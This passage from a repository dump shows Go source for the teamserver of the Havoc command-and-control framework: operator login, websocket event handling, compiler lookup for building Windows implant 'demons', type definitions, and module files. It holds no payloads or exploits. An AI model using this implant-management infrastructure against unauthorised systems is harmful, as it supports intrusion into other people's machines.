events.Authenticated(true))\n\t\tif err != nil {\n\t\t\tlogger.Error(\"client (\" + colors.Red(id) + \") error while sending authenticate message:\" + colors.Red(err))\n\t\t}\n\t}\n\n\tclient.Username = pk.Body.Info[\"User\"].(string)\n\tpackageNewUser := events.ChatLog.NewUserConnected(client.Username)\n\tt.EventAppend(packageNewUser)\n\tt.EventBroadcast(id, packageNewUser)\n\n\tt.SendAllPackagesToNewClient(id)\n\n\tfor {\n\t\tvalue, isok := t.Clients.Load(id)\n\t\tif !isok {\n\t\t\treturn\n\t\t}\n\t\tclient = value.(*Client)\n\t\t_, EventPackage, err := client.Connection.ReadMessage()\n\n\t\tif err != nil {\n\t\t\tif websocket.IsCloseError(err, websocket.CloseAbnormalClosure) {\n\t\t\t\tlogger.Warn(\"User <\" + colors.Blue(client.Username) + \"> \" + colors.Red(\"Disconnected\"))\n\n\t\t\t\tt.EventAppend(events.ChatLog.UserDisconnected(client.Username))\n\t\t\t\tt.RemoveClient(id)\n\n\t\t\t\treturn\n\t\t\t} else {\n\t\t\t\tlogger.Error(\"Error reading :\", err.Error())\n\t\t\t}\n\n\t\t\terr := client.Connection.Close()\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Socket Error:\", err.Error())\n\t\t\t}\n\n\t\t\tt.EventAppend(events.ChatLog.UserDisconnected(client.Username))\n\t\t\tt.RemoveClient(id)\n\n\t\t\treturn\n\t\t}\n\n\t\tpk := client.Packager.CreatePackage(string(EventPackage))\n\t\tpk.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\n\t\tt.EventAppend(pk)\n\t\tt.DispatchEvent(pk)\n\t}\n}\n\nfunc (t *Teamserver) SetProfile(path string) {\n\tt.Profile = profile.NewProfile()\n\tlogger.LoggerInstance.STDERR = os.Stderr\n\terr := t.Profile.SetProfile(path, t.Flags.Server.Default)\n\tif err != nil {\n\t\tlogger.SetStdOut(os.Stderr)\n\t\tlogger.Error(\"Profile error:\", colors.Red(err))\n\t\tos.Exit(1)\n\t}\n}\n\nfunc (t *Teamserver) ClientAuthenticate(pk packager.Package) bool {\n\tif pk.Head.Event == packager.Type.InitConnection.Type {\n\t\tif pk.Body.SubEvent == packager.Type.InitConnection.OAuthRequest {\n\t\t\tif t.Profile != nil {\n\t\t\t\tif t.Profile.Config.Operators != nil {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tUserPassword string\n\t\t\t\t\t\tUserName     string\n\t\t\t\t\t\tPassHash     = sha3.New256()\n\t\t\t\t\t\tUserFound    = false\n\t\t\t\t\t)\n\n\t\t\t\t\t// search for operator\n\t\t\t\t\tfor _, User := range t.Profile.Config.Operators.Users {\n\t\t\t\t\t\tif User.Name == pk.Head.User {\n\t\t\t\t\t\t\tUserName = User.Name\n\t\t\t\t\t\t\tUserFound = true\n\n\t\t\t\t\t\t\tPassHash.Write([]byte(User.Password))\n\t\t\t\t\t\t\tUserPassword = hex.EncodeToString(PassHash.Sum(nil))\n\n\t\t\t\t\t\t\tlogger.Debug(\"Found User: \" + User.Name)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// check if the operator was even found\n\t\t\t\t\tif UserFound {\n\t\t\t\t\t\tif pk.Body.Info[\"Password\"].(string) == UserPassword {\n\t\t\t\t\t\t\tlogger.Debug(\"User \" + colors.Red(UserName) + \" is authenticated\")\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.Debug(\"User not found\")\n\t\t\t\t\t}\n\n\t\t\t\t\tlogger.Debug(\"User not authenticated\")\n\t\t\t\t}\n\n\t\t\t\treturn false\n\t\t\t} else {\n\t\t\t\treturn false\n\t\t\t}\n\t\t} else {\n\t\t\tlogger.Error(\"Wrong SubEvent :: \" + strconv.Itoa(pk.Body.SubEvent))\n\t\t}\n\t} else {\n\t\tlogger.Error(\"Not a Authenticate request\")\n\t}\n\n\tlogger.Error(\"Client failed to authenticate with password hash :: \" + pk.Body.Info[\"Password\"].(string))\n\treturn false\n}\n\nfunc (t *Teamserver) EventBroadcast(ExceptClient string, pk packager.Package) {\n\n\t// some sanity check\n\tif pk.Head.Event == 0 {\n\t\treturn\n\t}\n\n\tt.Clients.Range(func(key, value any) bool {\n\t\tClientID := key.(string)\n\t\tif ExceptClient != ClientID {\n\t\t\terr := t.SendEvent(ClientID, pk)\n\t\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\t\tlogger.Error(\"SendEvent error: \", colors.Red(err))\n\t\t\t}\n\t\t}\n\t\treturn true\n\t})\n}\n\nfunc (t *Teamserver) EventNewDemon(DemonAgent *agent.Agent) packager.Package {\n\treturn events.Demons.NewDemon(DemonAgent)\n}\n\nfunc (t *Teamserver) EventAgentMark(AgentID, Mark string) {\n\tvar pk = events.Demons.MarkAs(AgentID, Mark)\n\n\tt.EventAppend(pk)\n\tt.EventBroadcast(\"\", pk)\n}\n\nfunc (t *Teamserver) EventListenerError(ListenerName string, Error error) {\n\tvar pk = events.Listener.ListenerError(\"\", ListenerName, Error)\n\n\tt.EventAppend(pk)\n\tt.EventBroadcast(\"\", pk)\n\n\t// also remove the listener from the init packages.\n\tfor EventID := range t.EventsList {\n\t\tif t.EventsList[EventID].Head.Event == packager.Type.Listener.Type {\n\t\t\tif t.EventsList[EventID].Body.SubEvent == packager.Type.Listener.Add {\n\t\t\t\tif name, ok := t.EventsList[EventID].Body.Info[\"Name\"]; ok {\n\t\t\t\t\tif name == ListenerName {\n\t\t\t\t\t\tt.EventsList[EventID].Body.Info[\"Status\"] = \"Offline\"\n\t\t\t\t\t\tt.EventsList[EventID].Body.Info[\"Error\"] = Error.Error()\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc (t *Teamserver) SendEvent(id string, pk packager.Package) error {\n\tvar (\n\t\tbuffer bytes.Buffer\n\t\terr    error\n\t)\n\n\terr = json.NewEncoder(&buffer).Encode(pk)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvalue, isOk := t.Clients.Load(id)\n\tif isOk {\n\t\tclient := value.(*Client)\n\t\tclient.Mutex.Lock()\n\n\t\terr = client.Connection.WriteMessage(websocket.BinaryMessage, buffer.Bytes())\n\t\tif err != nil {\n\t\t\t// TODO: comment this line out as it seems to crash the server\n\t\t\t//t.Clients[id].Mutex.Unlock()\n\t\t\treturn err\n\t\t}\n\n\t\tclient.Mutex.Unlock()\n\n\t} else {\n\t\treturn errors.New(fmt.Sprintf(\"client (%v) doesn't exist anymore\", colors.Red(id)))\n\t}\n\n\treturn nil\n}\n\nfunc (t *Teamserver) RemoveClient(ClientID string) {\n\n\tvalue, isOk := t.Clients.Load(ClientID)\n\n\tif isOk {\n\t\tclient := value.(*Client)\n\t\tvar (\n\t\t\tuserDisconnected = client.Username\n\t\t\tAuthenticated    = client.Authenticated\n\t\t)\n\n\t\tif Authenticated {\n\t\t\tt.EventBroadcast(ClientID, events.ChatLog.UserDisconnected(userDisconnected))\n\t\t\tfor UserID := range t.Users {\n\t\t\t\tif userDisconnected == t.Users[UserID].Name {\n\t\t\t\t\tt.Users[UserID].Online = false\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tt.Clients.Delete(ClientID)\n\t}\n}\n\nfunc (t *Teamserver) EventAppend(event packager.Package) []packager.Package {\n\n\t// some sanity check\n\tif event.Head.Event == 0 {\n\t\treturn t.EventsList\n\t}\n\n\tif event.Head.OneTime != \"true\" {\n\t\tt.EventsList = append(t.EventsList, event)\n\t\treturn append(t.EventsList, event)\n\t}\n\n\treturn nil\n}\n\nfunc (t *Teamserver) EventRemove(EventID int) []packager.Package {\n\tt.EventsList = append(t.EventsList[:EventID], t.EventsList[EventID+1:]...)\n\n\treturn append(t.EventsList[:EventID], t.EventsList[EventID+1:]...)\n}\n\nfunc (t *Teamserver) SendAllPackagesToNewClient(ClientID string) {\n\tfor _, Package := range t.EventsList {\n\t\terr := t.SendEvent(ClientID, Package)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"error while sending info to client(\"+ClientID+\"): \", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// send all the agents that are alive right now to the new client\n\tfor _, demon := range t.Agents.Agents {\n\t\tif demon.Active == false {\n\t\t\tcontinue\n\t\t}\n\n\t\tpk := t.EventNewDemon(demon)\n\t\terr := t.SendEvent(ClientID, pk)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"error while sending info to client(\"+ClientID+\"): \", err)\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc (t *Teamserver) FindSystemPackages() bool {\n\tvar err error\n\n\tif t.Profile.Config.Server.Build != nil {\n\n\t\tif len(t.Profile.Config.Server.Build.Compiler64) > 0 {\n\t\t\tif _, err := os.Stat(t.Profile.Config.Server.Build.Compiler64); os.IsNotExist(err) {\n\t\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\t\tlogger.Error(\"Compiler x64 path doesn't exist: \" + t.Profile.Config.Server.Build.Compiler64)\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tt.Settings.Compiler64 = t.Profile.Config.Server.Build.Compiler64\n\t\t} else {\n\t\t\tt.Settings.Compiler64, err = exec.LookPath(\"x86_64-w64-mingw32-gcc\")\n\t\t\tif err != nil {\n\t\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\t\tlogger.Error(\"Couldn't find x64 mingw compiler: \" + err.Error())\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\n\t\tif len(t.Profile.Config.Server.Build.Compiler86) > 0 {\n\t\t\tif _, err := os.Stat(t.Profile.Config.Server.Build.Compiler86); os.IsNotExist(err) {\n\t\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\t\tlogger.Error(\"Compiler x86 path doesn't exist: \" + t.Profile.Config.Server.Build.Compiler86)\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tt.Settings.Compiler32 = t.Profile.Config.Server.Build.Compiler86\n\t\t} else {\n\t\t\tt.Settings.Compiler32, err = exec.LookPath(\"i686-w64-mingw32-gcc\")\n\t\t\tif err != nil {\n\t\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\t\tlogger.Error(\"Couldn't find x86 mingw compiler: \" + err.Error())\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\n\t\tif len(t.Profile.Config.Server.Build.Nasm) > 0 {\n\t\t\tif _, err := os.Stat(t.Profile.Config.Server.Build.Nasm); os.IsNotExist(err) {\n\t\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\t\tlogger.Error(\"Nasm path doesn't exist: \" + t.Profile.Config.Server.Build.Nasm)\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tt.Settings.Nasm = t.Profile.Config.Server.Build.Nasm\n\t\t} else {\n\t\t\tt.Settings.Nasm, err = exec.LookPath(\"nasm\")\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Couldn't find nasm: \" + err.Error())\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\tt.Settings.Compiler64, err = exec.LookPath(\"x86_64-w64-mingw32-gcc\")\n\t\tif err != nil {\n\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\tlogger.Error(\"Couldn't find x64 mingw compiler: \" + err.Error())\n\t\t\treturn false\n\t\t}\n\n\t\tt.Settings.Compiler32, err = exec.LookPath(\"i686-w64-mingw32-gcc\")\n\t\tif err != nil {\n\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\tlogger.Error(\"Couldn't find x86 mingw compiler: \" + err.Error())\n\t\t\treturn false\n\t\t}\n\n\t\tt.Settings.Nasm, err = exec.LookPath(\"nasm\")\n\t\tif err != nil {\n\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\tlogger.Error(\"Couldn't find nasm: \" + err.Error())\n\t\t\treturn false\n\t\t}\n\t}\n\n\tlogger.Info(fmt.Sprintf(\n\t\t\"Build: \\n\"+\n\t\t\t\" - Compiler x64 : %v\\n\"+\n\t\t\t\" - Compiler x86 : %v\\n\"+\n\t\t\t\" - Nasm         : %v\",\n\t\tcolors.Blue(t.Settings.Compiler64),\n\t\tcolors.Blue(t.Settings.Compiler32),\n\t\tcolors.Blue(t.Settings.Nasm),\n\t))\n\n\treturn true\n}\n\nfunc (t *Teamserver) EndpointAdd(endpoint *Endpoint) bool {\n\tfor _, e := range t.Endpoints {\n\t\tif e.Endpoint == endpoint.Endpoint {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tt.Endpoints = append(t.Endpoints, endpoint)\n\n\treturn true\n}\n\nfunc (t *Teamserver) EndpointRemove(endpoint string) []*Endpoint {\n\tfor i := range t.Endpoints {\n\t\tif t.Endpoints[i].Endpoint == endpoint {\n\t\t\tt.Endpoints = append(t.Endpoints[:i], t.Endpoints[i+1:]...)\n\t\t\treturn t.Endpoints\n\t\t}\n\t}\n\n\treturn t.Endpoints\n}\n"
  },
  {
    "path": "teamserver/cmd/server/types.go",
    "content": "package server\n\nimport (\n\t\"Havoc/pkg/agent\"\n\t\"Havoc/pkg/db\"\n\t\"Havoc/pkg/packager\"\n\t\"Havoc/pkg/profile\"\n\t\"Havoc/pkg/service\"\n\t\"Havoc/pkg/webhook\"\n\t\"sync\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/gorilla/websocket\"\n)\n\ntype Listener struct {\n\tName   string\n\tType   int\n\tConfig any\n}\n\ntype Client struct {\n\tClientID      string\n\tUsername      string\n\tGlobalIP      string\n\tClientVersion string\n\tConnection    *websocket.Conn\n\tPackager      *packager.Packager\n\tAuthenticated bool\n\tSessionID     string\n\tMutex         sync.Mutex\n}\n\ntype Users struct {\n\tName     string\n\tPassword string\n\tHashed   bool\n\tOnline   bool\n}\n\ntype serverFlags struct {\n\tHost string\n\tPort string\n\n\tProfile  string\n\tVerbose  bool\n\tDebug    bool\n\tDebugDev bool\n\tSendLogs bool\n\tDefault  bool\n}\n\ntype utilFlags struct {\n\tNoBanner bool\n\tDebug    bool\n\tVerbose  bool\n\n\tTest bool\n\n\tListOperators bool\n}\n\ntype TeamserverFlags struct {\n\tServer serverFlags\n\tUtil   utilFlags\n}\n\ntype Endpoint struct {\n\tEndpoint string\n\tFunction func(ctx *gin.Context)\n}\n\ntype Teamserver struct {\n\tFlags      TeamserverFlags\n\tProfile    *profile.Profile\n\tClients    sync.Map // map[string]*Client\n\tUsers      []Users\n\tEventsList []packager.Package\n\tService    *service.Service\n\tWebHooks   *webhook.WebHook\n\tDB         *db.DB\n\n\tServer struct {\n\t\tPath   string\n\t\tEngine *gin.Engine\n\t}\n\n\tAgents    agent.Agents\n\tListeners []*Listener\n\tEndpoints []*Endpoint\n\n\tSettings struct {\n\t\tCompiler64 string\n\t\tCompiler32 string\n\t\tNasm       string\n\t}\n}\n"
  },
  {
    "path": "teamserver/cmd/server.go",
    "content": "package cmd\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"time\"\n\n\t\"Havoc/cmd/server\"\n\t\"Havoc/pkg/colors\"\n\t\"Havoc/pkg/events\"\n\t\"Havoc/pkg/logger\"\n\t\"Havoc/pkg/logr\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nvar CobraServer = &cobra.Command{\n\tUse:          \"server\",\n\tShort:        \"teamserver command\",\n\tSilenceUsage: true,\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tvar (\n\t\t\tDirPath, _  = os.Getwd()\n\t\t\tServerTimer = time.Now()\n\t\t\tLogrPath    = \"data/loot/\" + ServerTimer.Format(\"2006.01.02._15:04:05\")\n\t\t\tServer      *server.Teamserver\n\t\t)\n\n\t\tif len(os.Args) <= 2 {\n\t\t\terr := cmd.Help()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tos.Exit(0)\n\t\t}\n\n\t\tServer = server.NewTeamserver(DatabasePath)\n\t\tServer.SetServerFlags(flags)\n\n\t\tlogr.LogrInstance = logr.NewLogr(DirPath, LogrPath)\n\t\tif logr.LogrInstance == nil {\n\t\t\tlogger.Error(\"failed to create logr loot folder\")\n\t\t\treturn nil\n\t\t}\n\n\t\tlogr.LogrInstance.LogrSendText = func(text string) {\n\t\t\tvar pk = events.Teamserver.Logger(text)\n\n\t\t\tServer.EventAppend(pk)\n\t\t\tServer.EventBroadcast(\"\", pk)\n\t\t}\n\n\t\tlogr.LogrInstance.ServerStdOutInit()\n\n\t\tstartMenu()\n\n\t\tif flags.Server.Debug {\n\t\t\tlogger.SetDebug(true)\n\t\t\tlogger.Debug(\"Debug mode enabled\")\n\t\t}\n\n\t\tlogger.ShowTime(flags.Server.Verbose)\n\n\t\tlogger.Info(fmt.Sprintf(\"Havoc Framework [Version: %v] [CodeName: %v]\", VersionNumber, VersionName))\n\n\t\tif flags.Server.Default {\n\t\t\tServer.SetProfile(DirPath + \"/data/havoc.yaotl\")\n\t\t} else if flags.Server.Profile != \"\" {\n\t\t\tServer.SetProfile(flags.Server.Profile)\n\t\t} else {\n\t\t\tlogger.Error(\"No profile specified. Specify a profile with --profile or choose the standard profile with --default\")\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\tif !Server.FindSystemPackages() {\n\t\t\tlogger.Error(\"Please install needed packages. Refer to the Wiki for more help.\")\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\tlogger.Info(\"Time: \" + colors.Yellow(ServerTimer.Format(\"02/01/2006 15:04:05\")))\n\t\tlogger.Info(\"Teamserver logs saved under: \" + colors.Blue(LogrPath))\n\n\t\t// start teamserver\n\t\tServer.Start()\n\n\t\tos.Exit(0)\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "teamserver/go.mod",
    "content": "module Havoc\n\ngo 1.21.0\n\nrequire (\n\tgithub.com/agext/levenshtein v1.2.3\n\tgithub.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0\n\tgithub.com/apparentlymart/go-textseg/v13 v13.0.0\n\tgithub.com/davecgh/go-spew v1.1.1\n\tgithub.com/fatih/color v1.17.0\n\tgithub.com/fatih/structs v1.1.0\n\tgithub.com/gin-gonic/gin v1.10.0\n\tgithub.com/go-test/deep v1.0.7\n\tgithub.com/google/go-cmp v0.6.0\n\tgithub.com/gorilla/websocket v1.5.3\n\tgithub.com/kylelemons/godebug v1.1.0\n\tgithub.com/mattn/go-sqlite3 v1.14.23\n\tgithub.com/mitchellh/go-wordwrap v1.0.1\n\tgithub.com/olekukonko/tablewriter v0.0.5\n\tgithub.com/sergi/go-diff v1.2.0\n\tgithub.com/spf13/cobra v1.8.1\n\tgithub.com/zclconf/go-cty v1.15.0\n\tgolang.org/x/crypto v0.27.0\n\tgolang.org/x/image v0.20.0\n\tgolang.org/x/text v0.18.0\n)\n\nrequire (\n\tgithub.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect\n\tgithub.com/bytedance/sonic v1.12.2 // indirect\n\tgithub.com/bytedance/sonic/loader v0.2.0 // indirect\n\tgithub.com/cloudwego/base64x v0.1.4 // indirect\n\tgithub.com/cloudwego/iasm v0.2.0 // indirect\n\tgithub.com/gabriel-vasile/mimetype v1.4.5 // indirect\n\tgithub.com/gin-contrib/sse v0.1.0 // indirect\n\tgithub.com/go-playground/locales v0.14.1 // indirect\n\tgithub.com/go-playground/universal-translator v0.18.1 // indirect\n\tgithub.com/go-playground/validator/v10 v10.22.0 // indirect\n\tgithub.com/goccy/go-json v0.10.3 // indirect\n\tgithub.com/inconshreveable/mousetrap v1.1.0 // indirect\n\tgithub.com/json-iterator/go v1.1.12 // indirect\n\tgithub.com/klauspost/cpuid/v2 v2.2.8 // indirect\n\tgithub.com/leodido/go-urn v1.4.0 // indirect\n\tgithub.com/mattn/go-colorable v0.1.13 // indirect\n\tgithub.com/mattn/go-isatty v0.0.20 // indirect\n\tgithub.com/mattn/go-runewidth v0.0.16 // indirect\n\tgithub.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect\n\tgithub.com/modern-go/reflect2 v1.0.2 // indirect\n\tgithub.com/pelletier/go-toml/v2 v2.2.3 // indirect\n\tgithub.com/rivo/uniseg v0.4.7 // indirect\n\tgithub.com/spf13/pflag v1.0.5 // indirect\n\tgithub.com/twitchyliquid64/golang-asm v0.15.1 // indirect\n\tgithub.com/ugorji/go/codec v1.2.12 // indirect\n\tgolang.org/x/arch v0.10.0 // indirect\n\tgolang.org/x/net v0.29.0 // indirect\n\tgolang.org/x/sys v0.25.0 // indirect\n\tgoogle.golang.org/protobuf v1.34.2 // indirect\n\tgopkg.in/yaml.v3 v3.0.1 // indirect\n)\n"
  },
  {
    "path": "teamserver/go.sum",
    "content": "github.com/agext/levenshtein v1.2.3 h1:YB2fHEn0UJagG8T1rrWknE3ZQzWM06O8AMAatNn7lmo=\ngithub.com/agext/levenshtein v1.2.3/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558=\ngithub.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0 h1:MzVXffFUye+ZcSR6opIgz9Co7WcDx6ZcY+RjfFHoA0I=\ngithub.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0/go.mod h1:oL81AME2rN47vu18xqj1S1jPIPuN7afo62yKTNn3XMM=\ngithub.com/apparentlymart/go-textseg/v13 v13.0.0 h1:Y+KvPE1NYz0xl601PVImeQfFyEy6iT90AvPUL1NNfNw=\ngithub.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo=\ngithub.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY=\ngithub.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4=\ngithub.com/bytedance/sonic v1.12.2 h1:oaMFuRTpMHYLpCntGca65YWt5ny+wAceDERTkT2L9lg=\ngithub.com/bytedance/sonic v1.12.2/go.mod h1:B8Gt/XvtZ3Fqj+iSKMypzymZxw/FVwgIGKzMzT9r/rk=\ngithub.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=\ngithub.com/bytedance/sonic/loader v0.2.0 h1:zNprn+lsIP06C/IqCHs3gPQIvnvpKbbxyXQP1iU4kWM=\ngithub.com/bytedance/sonic/loader v0.2.0/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=\ngithub.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y=\ngithub.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w=\ngithub.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg=\ngithub.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY=\ngithub.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4=\ngithub.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI=\ngithub.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo=\ngithub.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M=\ngithub.com/gabriel-vasile/mimetype v1.4.5 h1:J7wGKdGu33ocBOhGy0z653k/lFKLFDPJMG8Gql0kxn4=\ngithub.com/gabriel-vasile/mimetype v1.4.5/go.mod h1:ibHel+/kbxn9x2407k1izTA1S81ku1z/DlgOW2QE0M4=\ngithub.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=\ngithub.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=\ngithub.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU=\ngithub.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y=\ngithub.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=\ngithub.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=\ngithub.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=\ngithub.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=\ngithub.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=\ngithub.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=\ngithub.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao=\ngithub.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=\ngithub.com/go-test/deep v1.0.7 h1:/VSMRlnY/JSyqxQUzQLKVMAskpY/NZKFA5j2P+0pP2M=\ngithub.com/go-test/deep v1.0.7/go.mod h1:QV8Hv/iy04NyLBxAdO9njL0iVPN1S4d/A3NVv1V36o8=\ngithub.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA=\ngithub.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=\ngithub.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=\ngithub.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=\ngithub.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=\ngithub.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=\ngithub.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=\ngithub.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=\ngithub.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=\ngithub.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=\ngithub.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg=\ngithub.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM=\ngithub.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=\ngithub.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M=\ngithub.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=\ngithub.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=\ngithub.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=\ngithub.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=\ngithub.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=\ngithub.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=\ngithub.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=\ngithub.com/leodido/go-urn v1.4.0 